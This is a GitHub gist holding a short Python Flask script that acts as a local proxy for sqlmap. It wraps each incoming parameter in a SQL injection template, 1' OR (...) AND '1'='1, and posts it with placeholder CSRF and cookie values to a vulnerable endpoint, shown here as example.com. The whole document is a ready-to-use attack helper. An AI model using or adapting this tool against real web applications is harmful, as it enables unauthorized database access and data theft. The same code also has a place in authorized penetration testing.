Skip to content

Instantly share code, notes, and snippets.

@NicolaiSoeborg
Created October 15, 2023 19:11
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save NicolaiSoeborg/946fb383b5928d4fee39e427ae1602cf to your computer and use it in GitHub Desktop.
Save NicolaiSoeborg/946fb383b5928d4fee39e427ae1602cf to your computer and use it in GitHub Desktop.
Often sqlmap can't do what you want it to do, so this is a small helper to run a flask server locally and exploit 127.0.0.1:5000
import httpx
from flask import Flask, request
URL = 'http://example.com/vuln'
client = httpx.Client(http2=True)
app = Flask(__name__)
@app.route("/vuln")
def hello_world():
param = request.args['q']
r = client.post(URL, data={
'csrf': "csrf",
'vuln': f"""1' OR ({param}) AND '1'='1""",
#'vuln': param
}, headers={'Cookie': "hi"})
return r.text
if __name__ == '__main__':
app.run()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment